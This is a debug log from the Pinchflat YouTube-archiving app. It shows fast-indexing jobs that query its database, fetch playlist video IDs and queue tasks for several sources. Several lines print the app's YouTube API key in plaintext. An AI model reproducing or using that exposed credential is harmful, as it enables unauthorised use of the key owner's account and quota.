{"args":{"id":24},"id":3800019,"meta":{},"system_time":1770763629373688212,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:09.373 [debug] QUERY OK source="sources" db=0.1ms idle=6.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [24] 16:47:09.374 [debug] QUERY OK source="settings" db=0.1ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:09.374 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:47:09.374 [debug] QUERY OK source="settings" db=0.0ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:09.374 [debug] Fetching recent media IDs from YouTube API for playlist: UUgzg_f5HC6EnY-9q5Px1Q-g 16:47:09.374 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:09.374 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:47:09.454 [debug] QUERY OK source="media_items" db=0.5ms idle=80.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [24, "EqcdcLKC5bE", "XWN9YMVaTio", "0ff4TbRMPcE", "lr65O1qIhT4", "lQPuHoc-93U", "8jv8nOKR_Ck", "8lzNViKW9F8", "r2GTUZ2zQSE", "Ki7sgG5i5P0", "dI43FJGa52A", "Tb0Z5jKFrKA", "A1QzVQn8hH8", "lWvIsb06YYg", "rLmO075A07c", "uPvdvnz9rLc", "IBk-Nh0VRy0", "IclNtwcicpc", "emMmkd-o2-o", "o3CQZ4JmTU8", "p6Q9chqIwyg", "0voL1hfm3e4", "HCQGhsHO1nM", "6xs7fjbo2NM", "yCdY2eeT8fQ", "faSZB8yewoU", "otxMmPttGp4", "7pysYXsQ8Ps", "QJtdNwlYFDM", "iBclMIJgm7k", "UI4lFdFfOFI", "apGupfbctgs", "qhRfchtbX-0", "73Vhinj4iEI", "M6o0F4zC8Ps", "NrQ0BAnY8sk", "y7WdMKmMR5Y", "J0z4YoAcmKI", "6eSG5JLP0-g", "AvswAhGn_PU", "4FFIce1pjH0", "yOM58cUfPhs", "gTT34dgyJfA", "hZJe5fqUbQA", "RNGpdA2TR1M", "PmIe2ZOPcA0", "zImBY_tGMIU", "1VUhrRFTY_0", "QJDpwY5MGjs", "xYFjwbtJs7U", ...] 16:47:09.455 [debug] QUERY OK source="media_items" db=0.1ms idle=81.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [24] 16:47:09.455 [debug] QUERY OK source="tasks" db=0.1ms idle=81.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800057, 24, ~U[2026-02-10 22:47:09Z], ~U[2026-02-10 22:47:09Z]] 16:47:09.456 [info] {"args":{"id":24},"id":3800019,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":82304,"event":"job:stop","queue_time":496223,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:10.264 [info] {"args":{"id":26},"id":3800020,"meta":{},"system_time":1770763630263966718,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:10.264 [debug] QUERY OK source="sources" db=0.1ms idle=808.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [26] 16:47:10.264 [debug] QUERY OK source="settings" db=0.0ms idle=808.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:10.264 [debug] QUERY OK source="media_profiles" db=0.0ms idle=801.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:47:10.264 [debug] QUERY OK source="settings" db=0.1ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:10.265 [debug] Fetching recent media IDs from YouTube API for playlist: UUK_8UoKJNYcQE9OdW5v-Ueg 16:47:10.265 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:10.265 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:47:10.363 [debug] QUERY OK source="media_items" db=0.6ms idle=98.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [26, "VdWHQYgG_jo", "6LzK3lEKkGE", "JJ_mw6lB3JU", "ZcmJFcMBm9w", "dlFQrYB5wKw", "nPbCi4t4NkA", "8asBU46CygQ", "yQArIsKTw5U", "1x2IhzNuxm4", "nxjWJIgvoOQ", "nlgL1IJXtoU", "lxxWezu1R48", "cQAPX3Qmbbw", "Qx4mqyQgZRE", "A8UXgQagHGE", "-XokzL0OQu0", "1hNouH7bBf4", "qZKBr-uzWXE", "tCG0_ctAGuw", "dJpTLJa07R0", "06xaEhog2jc", "xCly46rmt_E", "fgvCSP_Uieo", "Y-Glc4AfUu8", "WhrVgN8MHvE", "wdeJMY-yjxY", "ewCRfp9isyQ", "TC69Hts9xUw", "QD10PkEFM8w", "EDTL7eqicgk", "TN9ynzCtxH0", "PIm8vxiuo80", "d5wK7sqUPME", "g52_h5ba7AI", "eCXvteo9yPM", "LffHwB95-nc", "d5EbHE-E_30", "ISfcCtkM9Eg", "waruccu-7dk", "rp5VlotPNVY", "rfDYEpo49MM", "u7g9F323AaU", "oLw4zWP1x5g", "WWUoR1s8tqY", "1yRMUHRkPmg", "8o1haKR8l3U", "10e4_tNBP6M", "vnnhy_10FBA", "GQrTQ862rvU", ...] 16:47:10.365 [debug] QUERY OK source="media_items" db=0.4ms idle=100.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [26] 16:47:10.365 [debug] QUERY OK source="tasks" db=0.1ms idle=100.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800058, 26, ~U[2026-02-10 22:47:10Z], ~U[2026-02-10 22:47:10Z]] 16:47:10.366 [info] {"args":{"id":26},"id":3800020,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":102001,"event":"job:stop","queue_time":556421,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:11.264 [info] {"args":{"id":18},"id":3800021,"meta":{},"system_time":1770763631264774189,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:11.265 [debug] QUERY OK source="sources" db=0.1ms idle=899.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [18] 16:47:11.265 [debug] QUERY OK source="settings" db=0.1ms idle=899.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:11.265 [debug] QUERY OK source="media_profiles" db=0.0ms idle=892.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:47:11.265 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:11.265 [debug] Fetching recent media IDs from YouTube API for playlist: UUQ5w3fSomzziZfO7neK7eAg 16:47:11.265 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:11.266 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:47:11.423 [debug] QUERY OK source="media_items" db=0.7ms idle=157.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [18, "rftUQzr5MNY", "pXjsYsJR8eU", "prJa6chyjqQ", "e8MxxudBYHk", "a_0XQWA15FI", "jTWFMDJ7DrI", "6U5VizZp2mM", "6CmauK9WXDI", "wgXSw9BpnpU", "i07HAgTz45c", "xM9S3yBulYw", "4Bm5-NIl_RA", "HthaE0RZOck", "kHXxl9yqdbE", "D4ozSz8ab_E", "JvrGuAU-eQ4", "4Nr6hiHbgAw", "EKRoREgXcaQ", "mzTwPwIQENg", "fc3rJ0sJsbI", "j5J9rO_2xsY", "dMCQgYjSoSw", "itGzr7HZl9I", "-anIMIYnyjc", "kPGIGgFI3_E", "5q_lWJSquoc", "Pukp9nKozE8", "sPDYpIlReGY", "LEyq9a84wuU", "ez1buVmEKLU", "Zy_i-7hOQ_c", "yipidSya0Gc", "XiHlv0w2zMo", "cYIiWIJ07co", "_uh9kNqfJzY", "IaadHU9ku_k", "qqcbiTuW6dw", "rsIwHYDhr8M", "5o-L5_zpUc4", "6WiVRluXP80", "qGc2FEC3Htw", "q2pmhQoEGIw", "1J4rDpbqXG8", "9H-9_FLOs7w", "84Bep8MqnRs", "tJvqC1EhOrY", "Rlec9tt_xDA", "PRVOTbvtqwE", "gN7dibXWGlM", ...] 16:47:11.424 [debug] QUERY OK source="media_items" db=0.6ms idle=158.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [18] 16:47:11.425 [debug] QUERY OK source="tasks" db=0.1ms idle=158.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800059, 18, ~U[2026-02-10 22:47:11Z], ~U[2026-02-10 22:47:11Z]] 16:47:11.425 [info] {"args":{"id":18},"id":3800021,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":160301,"event":"job:stop","queue_time":412539,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:11.431 [info] {"args":{"id":39},"id":3800022,"meta":{},"system_time":1770763631431653114,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:11.431 [debug] QUERY OK source="sources" db=0.1ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [39] 16:47:11.432 [debug] QUERY OK source="settings" db=0.0ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:11.432 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:47:11.432 [debug] QUERY OK source="settings" db=0.0ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:11.432 [debug] Fetching recent media IDs from YouTube API for playlist: UUEbFX3P9ADiJvle5Z0Qyw2A 16:47:11.432 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:11.432 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:47:11.580 [debug] QUERY OK source="media_items" db=0.7ms idle=148.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [39, "oWwW7c73VEU", "Mlkedoq9Jc0", "CyROrlgXuxM", "DNFVUUSirec", "CBm031TNOBI", "pqsDSom58mA", "K4l-Iq7cUy0", "G5FmHkhNll0", "jcXhbGr4UXE", "CHXnJ2dqdeQ", "6mMkOOd85iY", "BzzBe1O4Sr0", "jpaUrDMW-xg", "CQhT2bZk-5w", "16WDLl-9svE", "0sw-9LcNYuU", "Gb2WMmJdg-0", "6IvRdRMfckI", "uK7duSgRTg4", "a5MZNJQdWMs", "0aIc4DK4KJU", "qoqprEJXUho", "Q31kdjWuJk0", "Oi3cII72g_Q", "EWUx-l6V8LY", "3ltZPDlAzjU", "0Y4qlkciOcs", "_EXBwKthvpU", "Wh33yQMl1E4", "Zmm4cH8rdbo", "udwdvn4CkUM", "gVmYPFscC9s", "siDrI-MD-LA", "xoqZcColJJQ", "_g7eG4Ax5RE", "tTnZ7eisAJI", "6Pxhj3El-5w", "YEcpFV6RELU", "x2L4YTdsD2o", "qIZd11xXCfQ", "Qkmowfr8czQ", "t86uzOhx8sw", "dhct918lLaM", "-3cN37P8DME", "aMBWoX-RTlU", "cFPi6Ya4QPE", "CzGfMeo8Toc", "qXaUPK6ZLpc", "18QTNVOpQ54", ...] 16:47:11.581 [debug] QUERY OK source="media_items" db=0.3ms idle=149.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [39] 16:47:11.582 [debug] QUERY OK source="tasks" db=0.1ms idle=149.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800060, 39, ~U[2026-02-10 22:47:11Z], ~U[2026-02-10 22:47:11Z]] 16:47:11.582 [info] {"args":{"id":39},"id":3800022,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":151114,"event":"job:stop","queue_time":451333,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:11.588 [info] 